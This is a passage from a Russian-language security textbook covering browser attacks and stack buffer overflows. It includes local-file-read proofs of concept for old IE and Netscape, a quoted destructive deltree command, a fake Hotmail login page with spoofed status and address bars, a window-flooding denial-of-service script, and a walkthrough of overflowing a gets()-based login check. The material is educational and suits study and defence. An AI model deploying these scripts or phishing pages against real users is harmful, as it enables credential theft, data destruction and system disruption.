Атака на HTTP-клиента

O В этой главе:

O Классификация основных ошибок

O Ошибки, позволяющие получить доступ к локальным файлам клиента

O Ошибки, позволяющие завесить браузер (или операционную систему)

O Техника поделки сайтов и методы ее обнаружения

«…пустяки, что я старше тебя на тридцать лет! Был я твоим ровесником! Был. Будешь ты моим ровесником! Будешь. Спрашивается, какая между нами разница? Hикакой»

Нодар Думбадзе. “Я, Бабушка, Илико и Илларион”

Современные браузеры представляют собой очень сложные системы, поддерживающие не только базовые функции форматирования текста, но и включающие в себя средства выполнения программ, написанных на Java, JavaScript, Visual Basic Script и т.д. В результате такой сложности неизбежно появление ошибок реализации, позволяющих злоумышленнику как нарушать нормальную работу компьютера клиента, так и получать доступ к его файлам и папкам.

Конечно, фирмы-производители исправляют ошибки, но в отличие от серверного программного обеспечения, «заплатки» на продукцию «народного потребления» часто остаются невостребованными. Ну не заботится рядовой пользователь о собственной безопасности до такой степени, чтобы регулярно посещать сайт фирмы-разработчика и своевременно устанавливать все исправления.

А ошибок в популярнейших браузерах Internet Explorer и Netscape Navigator приблизительно столько же, сколько во всех остальных программах вместе взятых. Время грубых брешей в защите ушло в песок истории вместе с первыми версиями, но и сегодня не все безоблачно, и атаки на клиентов по-прежнему возможны.

Большинство атак инертны, т.е. злоумышленник не способен самостоятельно атаковать компьютер жертвы, пока та не выполнит некоторые действия, например, зайдет на страничку, содержащую троянский код, кликнет по ссылке и т.д. Поэтому, если посещать только доверительные сервера, атаки можно не опасаться. Однако в большинстве случаев такое решение оказывается неприемлемым: очень часто требуемый ресурс находится на сервере неизвестного происхождения и не существует никакой другой альтернативы кроме как рискнуть и зайти на него. Кроме того, многие почтовые клиенты умеют отображать письма в формате HTML, и злоумышленник, не желающий ждать, пока жертва заглянет на его страничку, может отправить ей письмо, содержащее атакующий HTML-код! Запрещение же отображать HTML-письма часто оказывается неприемлемо, поскольку, многие легальные пользователи отправляют письма именно в этом формате. Не требовать же от всех своих респондентов присылать корреспонденцию в plain text only!

Все ошибки, встречающиеся в браузерах, можно поделить на четыре следующих категории:

1) ошибки, приводящие к возможности переполнения буфера и, следовательно, завешиванию системы или выполнению на ней переданного кода

2) ошибки, открывающие доступ к файлам, расположенным на компьютере клиента

3) ошибки, позволяющие подделывать чужие сайты

4) ошибки контроля корректности HTML-кода и кода скриптов, позволяющие злоумышленнику скушать все системные ресурсы, завесить браузер (не систему), вызывать раздражающие графические или звуковые эффекты и т.д.

Ошибки переполнения в программах подобного уровня сложности при сегодняшнем подходе к тестированию кода фактически неизбежны и всегда обнаруживаются в изобилии. Методы поиска уязвимости подобного рода описаны в главе «Технология срыва стека» и здесь рассматриваться не будут.

Врезка «информация»

В приложении Internet Explorer версий 4.0 и 4.1 при попытке открытия ресурса [304] длина имени которого превышает 256 символов, происходит переполнение буфера с возможностью исполнения переданного жертве кода. По утверждению Microsoft ошибка проявляется только при запуске браузера под Windows 95 (Windows 98) и не возымеет никакого эффекта под Windows NT.

Подробнее об этом можно прочитать в технической заметке ID: Q176697 “Security Patches for Internet Explorer“ Базы Знаний Microsoft.

То же самое происходит при попытке открытия слишком длинной ссылки по протоколу “mk”. Подробнее об этом можно прочитать на сайте группы l0pht (http://www.l0pht.com/advisories.html)

Врезка «замечание»

Протокол mk используется для доступа к *.chm - файлам. Такое расширение имеют файлы помощи Windows и Microsoft Visual Studio. С ними связана другая уязвимость - скрипт может командой window.showHelp() открывать chm файлы с локального диска пользователя, а сами chm файлы могут содержать в себе команду запуска исполняемых файлов.

Ошибки, открывающие доступ к локальным файлам жертвы [305], наиболее типичны для Internet Explorer, вследствие его тесной интеграции с операционной системой. В результате такой интеграции появилась поддержка ссылок вида “file://путь/имя файла”, работающих с локальными файлами и папками. А объединение «проводника» Windows с браузером научило Internet Explorer открывать ярлыки (файлы с расширением.lnk).

Таким образом, появилась возможность создания ссылок, как открывающих, так и запускающих документы и файлы на компьютере клиента. Следующий пример демонстрирует ссылку, нажатие на которую запускает приложение “calc.exe” на компьютере жертвы.

· Index.htm
· «A HREF="calc.url"»Click Here«/a»
· calc.url
· [InternetShortcut]
· URL=file://calc.exe

Опасность заключается в том, что помимо безобидного Калькулятора существуют и такие программы, как “format.com”, “deltree.exe” и др. А Internet Explorer 3.0 запускал их без предупреждения. Для достижения задуманного злоумышленнику было достаточно поместить на свою страничку ссылку на lnk файл, содержащий вызов наподобие “C:\Windows\Command\Start.exe DelTree /y C:\”.

В следующих версиях Internet Explorer эта ошибка была устранена, но обнаружились и другие. Было бы бессмысленно подробно разбирать здесь каждую из них. Оперативную информацию можно получить на сайтах производителей или обратиться к независимым источникам (например, www.l0pht.com).

Даже последняя на момент написания книги, пятая версия браузера Internet Explorer, запущенная под управлением Windows 2000, остается небезопасной. Одна из ошибок позволяет читать локальные файлы с диска пользователя. Теоретически все скрипты должны иметь доступ только к тем файлам, которые находятся в том же домене, откуда и был запущен скрипт. Однако строгое соблюдение этого правила значительно ограничило бы возможности скриптов, поэтому пришлось пойти на некоторые послабления.

Команда “windows.open(file://C:/test.txt)” откроет файл независимо от того, в каком домене расположен вызывающий код. Однако получить доступ к его содержимому при нормальном развитии событий невозможно. Но если с помощью перенаправления изменить путь к файлу на URL, указывающий на Java-код, то этот Java-код выполнится в контексте локального документа и, следовательно, получит к нему полный доступ!

Ниже приведен один из примеров программной реализации такого трюка (на диске, прилагаемом к книге, он находится в файле “/SRC/iebug.htm”). Он одинаково хорошо работает как из-под браузера, так и при просмотре HTML-письма в Outloock Express.

· «SCRIPT LANGUAGE="JavaScript"»
· z=window.open("file://c:/test.txt");
· z.location="xxxxxxx";
· «/SCRIPT»

Команда z.location=”xxxxx” осуществляет перенаправление по указанному адресу, например, http://www.nat.bg/~joro/reject.cgi?jsredir1. В этом случае содержимое файла “C:\test.txt” будет выведено в окне диалога.

В Netscape Communicator 4.7 для предотвращения доступа к локальным файлам, запрещено использование протокола “file” в документах, открытых по протоколу http. Защита сводится к проверке параметров, передаваемых таким функциям, как, например, “open”. Ядро же виртуальной машины Java позволят манипулировать локальными файлами вне зависимости от того, откуда был загружен скрипт. Ниже приведен один из возможных примеров, позволяющих обойти защиту:

· URL zzz=new URL("file://C:/test.txt");

· getAppletContext().showDocument(zzz,"newin");

Поддержка плавающих форм в Internet Explorer 5.01 (и в некоторых других версиях) реализована с ошибкой. Событие “NavigateComplete2”, извещающие о завершении переселения документа на новое местоположение, позволяет обеспечить доступ к этому документу, даже если он расположен на локальном диске клиента.

Код, приведенный ниже (на диске, прилагаем к книге, он содержится в файле “/SRC/ifrane.htm”), демонстрирует чтение файла “C:\test.txt” выводя его содержимое в диалоговом окне:

· «IFRAME ID="Z"»«/IFRAME»
· «SCRIPT for=Z event="NavigateComplete2(x)"»
· alert(x.document.body.innerText);
· «/SCRIPT»
·
· «SCRIPT»
· Z.navigate("file://c:/test.txt");
· «/SCRIPT»
·

На рисунке 089 продемонстрирован результат работы этого примера. Для его успешного выполнения необходимо предварительно создать в корне диска “С” файл “test.txt” c произвольным содержимым.

Часто злоумышленники для похищения конфиденциальной информации (например, паролей) используют технику подделки сайтов, заключающуюся в следующем: злоумышленник помещает на свою страничку ссылку, ведущую как будто к hotmail.com (или любому другому сайту), но жертва, решившая отправится туда, попадает вовсе не на hotmail.com, а на страничку злоумышленника, по внешнему виду ничем не отличающуюся от оригинала. Специальным образом сконструированный скрипт фальсифицирует строку адреса, строку статуса и заголовок окна браузера. Ничего не подозревающая жертва вводит свой пароль, раскрывая его злоумышленнику. Официально считается, что подобный прием основывается не на ошибках реализации, а на вполне легальных и документированных возможностях скриптов, поэтому практически все бразузеры позволяют очень качественно подделывать чужие сайты и маловероятно, чтобы в ближайшем будущем что-либо изменилось.

Опасность же атак подобного рода очень велика, - ведь подделка сайтов открывает злоумышленнику огромные перспективы. Например, таким способом можно легко распространять вирусы и троянские компоненты. Со странички Васи Пупкина если кто и возьмем какую-нибудь программу, то наверняка примет необходимые меры предосторожности (напустит на нее антивирусы и т.д.). Но стоит Васе разместить у себя ссылку, скажем, на такую-то заплатку, лежащую на сайте Microsoft, как его шансы ослабить бдительность жертвы резко возрастут. А имитация виртуальных магазинов и вовсе влечет за собой материальные убытки.

Ниже будет показано, как осуществляется такая подделка и как ее можно обнаружить. Следующий код (на диске, прилагаемом к книге, он расположен в файле “/SRC/webfake.htm”) демонстрирует подделку сайта HotMail.com (для упрощения внешний вид странички приведен в схематичном виде):

· «TITLE»
· Demo Fake WEB
· «/TITLE»
·
· «SCRIPT»
· function fake()
· {
· z=window.open("view-source:javascript:location='http://hotmail.com';")
· z.document.open();
· z.document.write(" «TITLE»
· http://hotmail.com
· «/TITLE»
· «H1»Fake HotMail«/H1»
· Sign-In Name«BR»
· «INPUT type=text»«BR»
· Password«BR»
· «INPUT type=text»«BR»
· «INPUT type=button value=' ok '»");
· z.document.close();
·}
· «/SCRIPT»
· Go to
· «A HREF="javascript:var a;
· "onclick="fake()" onMouseOver="window.status='http://hotmail.com';
· return true"»
· HotMail «/a»

Для введения пользователя в заблуждение требуется подделать: 1) содержимое строки статуса, появляющееся при наведении мыши на ссылку; 2) строку адреса открывшегося окна; 3) заголовок окна; 4) содержимое фальсифицируемой странички.

Содержимое фальсифицируемой странички технически подделать не сложно, - достаточно скопировать оригинал вместе с графикой и музыкой (если таковая имеется). Некоторые сложности могут возникнуть со скриптами, содержимое которых недоступно, поэтому их придется воссоздать самостоятельно.

Поскольку, при наведении мыши на ссылку в строке статуса отображается адрес перехода, то для введения жертвы в заблуждение необходимо подделать ее содержимое. Сделать это можно, например, с помощью следующего кода:

· «A HREF="javascript:var a;
· "onclick="fake()" onMouseOver="window.status='http://hotmail.com' ;
· return true"»

Вообще-то это не самая лучшая подделка, поскольку надпись в строке статуса остается даже если вывести мышь за границы ссылки, да и при выделении ссылки с помощью клавиши «Tab» в строке статуса появится истинный адрес перехода. Разумеется, все это можно устранить усложнением кода, но большинство злоумышленников не утруждают себя подобными излишествами, рассчитывая на не слишком дотошного пользователя.

Фальсифицировать строку адреса несколько сложнее, поскольку некоторые браузеры предпринимают попытки защиты от ее модификации. Поэтому, следующий код не всегда будет успешно работать (но обычно, он все же работает):

· z=window.open("view-source:javascript:location='http://hotmail.com';")

Ну а заголовок окна элементарно изменить с помощью тега «TITLE», или посредством Java-скрипта. На рисунке 087 продемонстрирован результат такой подделки. Существует ли способ раскрыть обман? Конечно, можно просмотреть исходный HTML-текст страницы, содержащий ссылку, но это отнимет некоторое время и потребует от пользователя определенной квалификации. Однако можно поступить проще, - кликнуть по ссылке правой клавишей мыши и в ниспадающем меню выбрать пункт «свойства» (или узнать их как-нибудь по-другому, в зависимости от используемого программного обеспечения).

Ниже будут описаны приемы, позволяющие нарушить нормальную работу браузера. В первую очередь к ним относятся скриты, открывающие в бесконечном цикле множество окон. Окна, плодящиеся со скоростью тараканов, в очень короткое время пожирают все доступные ресурсы.

Например, злоумышленник может разместить на свой страничке HTML-код следующего содержания (на диске, прилагаемом к книге, он расположен в файле “/SRC/win.htm”):

· «BODY BACKGROUND=Medium.jpg»
· «SCRIPT LANGUAGE="JavaScript"»
· atack()
· function atack()
· {
· var b = 0
· while (true)
· {
·
· d = new Date;
· b=d.getMilliseconds();
· window.open("win.htm",b,"width=215,height=300,resizable=no");
·}
·}
· «/SCRIPT»
·

Результат его работы под Windows 2000 показан на рисунке 085. Нижняя кривая в «Хронологии загрузки ЦП» - это загрузка ядра операционной системы. Через очень короткое время (буквально в течение одной минуты) она приблизится к 100% и с этого момента все станет очень сильно тормозить. Рост потребления памяти не столь значителен, но все равно достаточно ощутим, поскольку количество открытых окон в первом приближении увеличивается в геометрической прогрессии.

Операционная система Windows 95 (Windows 98) намного хуже справляется с такой атакой и через некоторое время зависает, особенно если создавать окна очень большого размера, например, миллион на миллион пикселей (а большинство браузеров это позволяет).

Атаки подобного рода возможны потому, что распространенные браузеры не позволяют установить лимиты на системные ресурсы. И пользователь не может задать максимально допустимое количество открываемых окон или ограничить их размер.

O В этой главе:

O Суть переполнения буфера

O Состояние стека на момент вызова функции

O Передача управление коду программы

O Передача управления на собственный код

O Ограничения, наложенные на вводимый код и пути их обхода

…а что может человек потерять? Не жизнь, потому что он ею не владеет. Он только берет ее в аренду. Он может потерять лишь деньги, а какого дьявола стоят деньги по сравнению с личностью? Это и есть один из способов прожить жизнь, все из нее извлечь. Человек ее сохраняет или лишается, поставив на карту все.

Эрл Стенли Гарднер “Кот привратника”

Атаки, основанные на ошибках программной реализации, получили широкое распространение, а их интенсивность с течением времени продолжает неуклонно увеличиваться. Огромная сложность программного обеспечения, частые выходы новых версий - все это приводит к ухудшению качества программного кода и небрежности его тестирования. Большинство фирм, стремясь привлечь внимание потребителей, выбрасывают на рынок сырые продукты, «доводимые до ума» в процессе их эксплуатации. Такая схема создает благоприятную почву для деятельности злоумышленников, которые используют ошибки разработчиков для блокирования и проникновения на локальные и удаленные узлы сети.

Один из типов программных ошибок получил название «переполнение буфера» (buffer overflows). В общих чертах его суть заключается в следующем: если программист выделяет буфер фиксированного размера и заносит в него динамические данные, не убедившись, достаточно ли свободного места для их размещения или нет, то не поместившиеся в буфере данные вылезут за его границы и попадут в ячейки памяти, расположенные за концом буфера. Переменные, расположенные в этих ячейках, окажутся искаженными, а поведение программы станет непредсказуемым. Если буфер расположен в стеке, существует возможность перезаписи адреса возврата из функции, что приводит к передаче управления на незапланированный разработчиком участок кода!

Процесс вызова функции, передача параметров и размещения локальных переменных варьируется от языка к языку и зависит от конкретного компилятора, но в целом выглядит приблизительно так: в стек заносятся параметры, и значение регистра-указателя стека уменьшается, т.е. стек растет от больших адресов к меньшим адресам; затем в стек помещается адрес инструкции, следующей за командой вызова подпрограммы (в микропроцессорах серии Intel 80x86 для этой цели служит инструкция CALL) и управление передается вызываемой подпрограмме.

Ячейка памяти, в которой хранится адрес возврата, всегда доступна вызываемой подпрограмме для модификации. А локальные переменные (в том числе и буфера) располагаются компилятором в адресах, лежащих выше [306] этой ячейки. Например, состояние стека при вызове функции myfunct() схематично можно изобразить так:

· myfunct()
· {
· char a;
· char buff[5];
· char b;
·…
·}

– Смещение от кадра стека Содержимое ячеек

– 0 A

– 1 buf[0]

– 2 buf[1]

– 3 buf[2]

– 4 buf[3]

– 5 buf[4]

– 6 B

– 7 Адрес возврата

– 8… Стек функции, вызвавшей myfunt

Попытка записи в ячейку buff[6] приведет к искажению адреса возврата, и после завершения работы функции myfunct() произойдет передача управления на совершенно незапланированный разработчиком участок кода и, скорее всего, дело кончится повисанием. Все было бы иначе, если бы компилятор располагал локальные переменные ниже ячейки, хранящей адрес возврата, но, эта область стека уже занята, - она принадлежит функции, вызвавшей myfunct. Так уж устроен стек, - он растет снизу вверх, но не наоборот.

Пример, приведенный ниже, служит наглядной иллюстрацией ошибки программиста, известной под названием «срыва стека» (на диске, прилагаемом к книге, он расположен в файле “/SRC/buff.demo.c.”)

· #include «stdio.h»
· #include «string.h»
·
· root()
· {
· printf("Hello, Root!\n");
·}
·
· auth()
· {
· char user[10];
· char pass[10];
· printf("Login:"); gets( amp;user[0]);
· printf("Passw:"); gets( amp;pass[0]);
· if (!strcmp( amp;pass[0],"guest"))
· return 1;
· return 0;
·}
·
· main()
· {
· printf("Buffer Overflows Demo\n");
· if (auth())
· printf("Password ok\n");
· else
· printf("Invalid password\n");
·}

На первый взгляд, программа как будто бы должна работать нормально. Но функция gets(), читающая строку с клавиатуры, не имеет никаких представлений о размере выделенного под нее буфера, и принимает данные до тех пор, пока не встретит символ возврата каретки. Если пользователь введет в качестве своего имени строку, превышающую десять символов [307], ее «хвост» затрет адрес возврата функции и дальнейшее выполнение программы окажется невозможным.

Например, если запустить этот пример под управлением Windows 2000, и в качестве имени пользователя ввести строку “1234567890qwerty” операционная система выдаст следующее сообщение, предлагая либо завершить работу приложения, либо запустить отладчик (если он установлен) для выяснения причин сбоя: «Исключение unknown software exception (0xc000001) в приложении по адресу 0x0012ffc0».

Допустим, в программе присутствует некая функция (условно названная “root”), которая выполняет действия, необходимые злоумышленнику. Может ли он специально подобранной строкой изменить адрес возврата таким образом, чтобы вместо сообщения о неправильно набранном пароле, управление передавалось на эту функцию?

Для ответа на такой вопрос необходимо знать по какому адресу расположена интересующая злоумышленника функция, и какой именно байт из введенной строки затирает адрес возврата. Выяснить это можно с помощью дизассемблирования кода программы.

Дизассемблирование - процесс сложный и требующий от исследователя хороших знаний ассемблера, архитектуры операционной системы и техники компиляции кода. Без этого разобраться с алгоритмом работы программы практически невозможно. К сожалению, практически не существует литературы, посвященной дизассемблированию, поэтому, в большинстве случаев приходится осваивать эту тему самостоятельно [308].

Все, сказанное ниже, рассчитано на читателя средней квалификации, как минимум знающего назначение наиболее употребляемых команд микропроцессора Intel 80x86. В качестве дизассемблера выбрана IDA PRO четвертой версии [309], однако, можно воспользоваться и другими инструментами, такими как SOURCER, W32Dasm или на худой конец DumpBin, который поставляется с любым Windows-компилятором.

Результат дизассемблирования buff.demo.exe показан ниже (на диске, прилагаемом к книге, он расположен в файле “/LOG/buff.demo.lst”). Исследователь должен изучить «устройство» функции Auth, (как ее найти во много килобайтовом листинге - тема отдельного разговора). Для облегчения понимания, листинг снабжен подробными комментариями.

·.text:00401000; Segment type: Pure code

·.text:00401000 _text segment para public 'CODE' use32

·.text:00401000 assume cs:_text

·.text:00401000;org 401000h

·.text:00401000 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

·.text:00401000 Root proc near

·.text:00401000; Функции root расположена по адресу 0x401000

·.text:00401000 push ebp

·.text:00401000 ;… назначение процедуры root значение не имеет

·.text:00401000 ;… для ее вызова достаточно знать по какому адресу она расположена в памяти

·.text:00401000;… а расположена она по адресу 0x401000

·.text:00401001 mov ebp, esp

·.text:00401003 push offset aHelloRoot; "Hello, Root!\n"

·.text:00401008 call _printf

·.text:0040100D add esp, 4

·.text:00401010 pop ebp

·.text:00401011 retn

·.text:00401011 Root endp

·.text:00401012

·.text:00401012; --------------- S U B R O U T I N E ---------------------------------------

·.text:00401012

·.text:00401012; Attributes: bp-based frame

·.text:00401012

·.text:00401012 auth proc near; CODE XREF: main+10p

·.text:00401012

·.text:00401012 var_18 = byte ptr -18h

·.text:00401012 var_C = byte ptr -0Ch

·.text:00401012; Так IDA обозначает локальные переменные, а цифры указывают относительное

·.text:00401012; расположение от конца кадра стека.

·.text:00401012; В Момент вызова функции указатель стека указывает на адрес возврата

·.text:00401012 push ebp

·.text:00401012; В стек заносится регистр ebp, значение указателя стека уменьшается на 4

·.text:00401013 mov ebp, esp

·.text:00401013; Открывается кадр стека:

·.text:00401013; В регистр ebp заносится значение регистра указателя стека esp.

·.text:00401013; Регистр ebp будет использоваться для адресации локальных переменных относительно конца кадра стека

·.text:00401015 sub esp, 18h

·.text:00401015; Резервируется 0x18 (24 в десятичной нотации) байт под локальные переменные

·.text:00401015; Но размер двух буферов равен 10+10=20 байтам! Откуда взялись четрые лишние байта?

·.text:00401015 ; Для ускорения доступа к данным компилятор размещает начала каждого из буферов по адресам, кратным

·.text:00401015; четырем байтам, так называемое выравнивание.

·.text:00401015; Таким образом на данный момент стек выглядит так:

·.text:00401015;

·.text:00401015; Относительный адрес Содержимое ячейки

·.text:00401015; - 0x18 буфер var_18[0]

·.text:00401015; - 0x17 буфер var_18[1]

·.text:00401015; - 0x16 буфер var_18[2]

·.text:00401015; - 0x15 буфер var_18[3]

·.text:00401015; - 0x14 буфер var_18[4]

·.text:00401015; - 0x13 буфер var_18[5]

·.text:00401015; - 0x12 буфер var_18[6]

·.text:00401015; - 0x11 буфер var_18[7]

·.text:00401015; - 0x10 буфер var_18[8]

·.text:00401015; - 0x0F буфер var_18[9]

·.text:00401015; - 0x0E дырка для выравнивания

·.text:00401015; - 0x0D дырка для выравнивания

·.text:00401015; - 0x0С буфер var_С[0] 01

·.text:00401015; - 0x0B буфер var_С[1] 02

·.text:00401015; - 0x0A буфер var_С[2] 03

·.text:00401015; - 0x09 буфер var_С[3] 04

·.text:00401015; - 0x08 буфер var_С[4] 05

·.text:00401015; - 0x07 буфер var_С[5] 06

·.text:00401015; - 0x06 буфер var_С[6] 07

·.text:00401015; - 0x05 буфер var_С[7] 08

·.text:00401015; - 0x04 буфер var_С[8] 09

·.text:00401015; - 0x03 буфер var_С[9] 10

·.text:00401015; - 0x02 дырка для выравнивания 11

·.text:00401015; - 0x01 дырка для выравнивания 12

·.text:00401015; 0x00 значение регистра ebp[0] 13

·.text:00401015; + 0x01 значение регистра ebp[1] 14

·.text:00401015; + 0x02 значение регистра ebp[2] 15

·.text:00401015; + 0x03 значение регистра ebp[3] 16

·.text:00401015; + 0x04 значение регистра eip[0] (адрес возврата) 17

·.text:00401015; + 0x05 значение регистра eip[1] (адрес возврата) 18

·.text:00401015; + 0x06 значение регистра eip[2] (адрес возврата) 19

·.text:00401015; + 0x07 значение регистра eip[3] (адрес возврата) 20

·.text:00401015; Таким образом, байты с 17 до 20 (не считая нуля завершающего строку) из буфера var_c затирают

·.text:00401015: адрес возврата сохраненный в стеке. Следовательно, строка из шестнадцати символов, включая

·.text:00401015; завершающий ноль вызовет модификацию младшего байта адреса возврата.

·.text:00401015; Остается отождествить буфер var_c - что он собой представляет имя пользователя или пароль?

·.text:00401018 push offset aLogin; "Login:"

·.text:00401018; В стек заносится смещение строки “Login”, значение указателя стека уменьшается на 4

·.text:00401018; Это первый (и единственный) аргумент функции printf

·.text:0040101D call _printf

·.text:0040101D; Вывод на экран приглашения “Login:”

·.text:00401022 add esp, 4

·.text:00401022; Значение указателя стека увеличивается на четыре, чтобы избавится от занесенного в стек смещения

·.text:00401025; строки “Login”. Си-функции не очищают стек после своего завершения

·.text:00401025 lea eax, [ebp+var_C]

·.text:00401025; В регистр eax заносится смещение буфера var_c, для последующей передачи его функции gets, читающей

·.text:00401025; строку с клавиатуры.

·.text:00401025; Следовательно, буфер var_c содержит имя пользователя

·.text:00401028 push eax

·.text:00401028; Значение eax заносится в стек

·.text:00401029 call _gets

·.text:00401029; Вызов функции _gets

·.text:0040102E add esp, 4

·.text:0040102E; Удаление двойного слова из стека (для очистки аргумента функции gets)

·.text:00401031 push offset aPassw; "Passw:"

·.text:00401031; Занесение в стек строки «Passw»

·.text:00401036 call _printf

·.text:00401036; Вывод строки “Passw” на экран с помощью функции printf

·.text:0040103B add esp, 4

·.text:0040103B; Удаление двойного слова из стека

·.text:0040103E lea ecx, [ebp+var_18]

·.text:0040103E; В регистр ecx заносится смещение буфера var_18 для последующей передачи его функции gets,

·.text:0040103E; читающей строку с клавиатуры. Следовательно, буфер var_18 содержит пароль

·.text:00401041 push ecx

·.text:00401041 ; Передача аргумента функции gets

·.text:00401042 call _gets

·.text:00401042 ; Чтение пароля в буфер var_18

·.text:00401047 add esp, 4

·.text:00401047 ; Балансировка стека

·.text:0040104A push offset aGuest; "guest"

·.text:0040104A; Занесение в стек смещения строки Guest для сравнения ее с введенным паролем

·.text:0040104F lea edx, [ebp+var_18]

·.text:0040104F; В регистр edx заносится смещение буфера, содержащего введенный пароль

·.text:00401052 push edx

·.text:00401052; Сейчас в верхушке стека содержатся два значения

·.text:00401052; смещение эталонного пароля и смещения буфера, содержащего введенный пароль

·.text:00401053 call _strcmp

·.text:00401053; Вызов функции strcmp( amp;pass[0],”Guest”)

·.text:00401058 add esp, 8

·.text:00401058; Балансировка стека

·.text:0040105B test eax, eax

·.text:0040105B; Значение, возвращаемое функцией помещается в регистр eax

·.text:0040105B; если он равен нулю, то строки идентичны и наоборот

·.text:0040105B; если eax равен нулю, команда test выставляет флаг нуля

·.text:0040105D jnz short loc_0_401066

·.text:0040105D; Если флаг не установлен (пароль не равен “Guest”), переход по адресу 401066

·.text:0040105F mov eax, 1

·.text:0040105F; В регистр eax заносится значение 1, которое будет возвращено при выходе из нее

·.text:00401064 jmp short loc_0_401068

·.text:00401064; Переход по адресу 401068 (к выходу из функции)

·.text:00401066; ---------------------------------------------------------------------------

·.text:00401066

·.text:00401066 loc_0_401066:; CODE XREF: auth+4Bj

·.text:00401066 xor eax, eax

·.text:00401068; Обнулить значение регистра eax

·.text:00401068 loc_0_401068:; CODE XREF: auth+52j

·.text:00401068 mov esp, ebp

·.text:00401068; Восстановить значение регистра esp, который должен указывать на сохраненный в стеке регистр ebp

·.text:0040106A pop ebp

·.text:0040106A; Восстановить ebp

·.text:0040106B retn

·.text:0040106B; Выйти из функции. Команда retn снимает из стека двойное слово, которое при

·.text:0040106B; нормальном развитии событий должно быть равно адресу возврата (в данном примере 00401081

·.text:0040106B; (смотри функцию main)

·.text:0040106B auth endp

·.text:0040106B

·.text:0040106C

·.text:0040106C; --------------- S U B R O U T I N E ---------------------------------------

·.text:0040106C

·.text:0040106C; Attributes: bp-based frame

·.text:0040106C

·.text:0040106C main proc near; CODE XREF: start+AFp

·.text:0040106C push ebp

·.text:0040106C; Занесение в стек значение регистра ebp

·.text:0040106D mov ebp, esp

·.text:0040106D; Открытие кадра стека

·.text:0040106F push offset aBufferOverflow; "Buffer Overflows Demo\n"

·.text:0040106F; Занесение в стек смещения строки “ Buffer Overflows Demo” для вывода ее на экран

·.text:00401074 call _printf

·.text:00401074; Вызов функции printf(“Buffer Overflows Demo\n")

·.text:00401079 add esp, 4

·.text:00401079; Балансировка стека

·.text:0040107C call Auth

·.text:0040107C; Вызов функции Auth(). В стек заносится адрес следующей за call команды, т.е. 00401081

·.text:00401081 test eax, eax

·.text:00401081; Функция Auth возвратила нулевое значение?

·.text:00401083 jz short loc_0_401094

·.text:00401083; Если функция возвратила нулевое значение перейти по адресу 401094

·.text:00401085 push offset aPasswordOk; "Password ok\n"

·.text:00401085; Занесение в стек смещения строки «Password Ok”

·.text:0040108A call _printf

·.text:0040108A; Вызов функции printf(“Password OK\n”);

·.text:0040108F add esp, 4

·.text:0040108F; Балансировка стека

·.text:00401092 jmp short loc_0_4010A1

·.text:00401092; Переход по адресу 4010A1

·.text:00401094; ---------------------------------------------------------------------------

·.text:00401094

·.text:00401094 loc_0_401094:; CODE XREF: main+17j

·.text:00401094 push offset aInvalidPasswor; "Invalid password\n"

·.text:00401094; Занесение в стек строки “ Invalid password”

·.text:00401099 call _printf

·.text:00401099; Вызов функции printf("Invalid password\n")

·.text:0040109E add esp, 4

·.text:0040109E; Балансировка стека

·.text:004010A1

·.text:004010A1 loc_0_4010A1:; CODE XREF: main+26j

·.text:004010A1 pop ebp

·.text:004010A1; Восстановление ebp

·.text:004010A2 retn

·.text:004010A2; Завершение программы

·…

·.text:004010A2 main endp

·.data:00406030 aHelloRoot db 'Hello, Root!',0Ah,0; DATA XREF:.text:00401003o

·.data:0040603E align 4

·.data:00406040 aLogin db 'Login:',0; DATA XREF: auth+6o

·.data:00406047 align 4

·.data:00406048 aPassw db 'Passw:',0; DATA XREF: auth+1Fo

·.data:0040604F align 4

·.data:00406050 aGuest db 'guest',0; DATA XREF: auth+38o

·.data:00406056 align 4

·.data:00406058 aBufferOverflow db 'Buffer Overflows Demo',0Ah,0; DATA XREF: main+3o

·.data:0040606F align 4

·.data:00406070 aPasswordOk db 'Password ok',0Ah,0; DATA XREF: main+19o

·.data:0040607D align 4

·.data:00406080 aInvalidPasswor db 'Invalid password',0Ah,0; DATA XREF: main+28o

Анализ кода позволил установить, что искомая функция располагается по адресу, равному 0x401000, а шестнадцатый символ имени пользователя затирает завершающим строку нулем младший байт адреса возврата.

Для передачи управления на функцию root() необходимо подменить адрес возврата на ее адрес. Поскольку, адрес возврата, уже содержащийся в стеке, равен 0х401081, а адрес функции root() равен 0x401000, для достижения поставленной цели достаточно всего лишь обнулить младший байт. Если ввести строку длиной 16 символов (не важно каких), завершающий ее нуль придется как раз на младший байт сохраненного в стеке регистра EIP и инструкция retn передаст управление на функцию root().

· - 0x0С user[0] 01 X

· - 0x0B user[1] 02 X

· - 0x0A user[2] 03 X

· - 0x09 user[3] 04 X

· - 0x08 user[4] 05 X

· - 0x07 user[5] 06 X

· - 0x06 user[6] 07 X

· - 0x05 user[7] 08 X

· - 0x04 user[8] 09 X

· - 0x03 user[9] 10 X

· - 0x02 дырка 11 X

· - 0x01 дырка 12 X

· 0x00 ebp[0] 13 X

· + 0x01 ebp[1] 14 X

· + 0x02 ebp[2] 15 X

· + 0x03 ebp[3] 16 X

· + 0x04 eip[0] 81 17 0

· + 0x05 eip[1] 10 18

· + 0x06 eip[2] 40 19

· + 0x07 eip[3] 00 20

Если на запрос имени пользователя ввести, например, такую строку, то на экран выдастся приветствие “Hello, Root!”, подтверждающие факт передачи управления функции root(), что не было предусмотрено разработчиком.

Однако сразу же после завершения функции root(), программа грохается, и операционная система выдает сообщение об исключительной ситуации, предлагая завершить работу приложения (смотри рисунок 073). (Реакция операционной системы зависти от самой операционной системы, данный скриршет иллюстрирует поведение Windows 2000)

Исключение происходит из-за нарушения балансировки стека, - ведь перед передачей управления функции Root, в стек не был занесен адрес возврата! Но команда retn, в строке 0x401011, “не зная” этого, снимает со стека первое попавшееся ей «под руку» двойное слово и передает на него управление.

Если нажать клавишу «отмена», операционная система запустит отладчик (конечно, при условии, что он установлен в системе). Стек, просмотренный с его помощью, должен выглядеть следующим образом (область стека, принадлежащая функции start() не показана, поскольку в данном случае не представляет никакого интереса):

· 0012FF74 7 8787878 ? буфер имени пользователя

· 0012FF78 78787878 ? было: регистр EBP, сохраненный функцией Auth; стало буфер имени пользователя

· 0012FF7C 00401000 ? было: адрес возврата из функции auth, стало: адрес функции root

· 0012FF80 0012FFC0 ? значение регистра EBP, сохраненное функцией main

· 0012FF84 00401262 ? адрес возврата из функции main

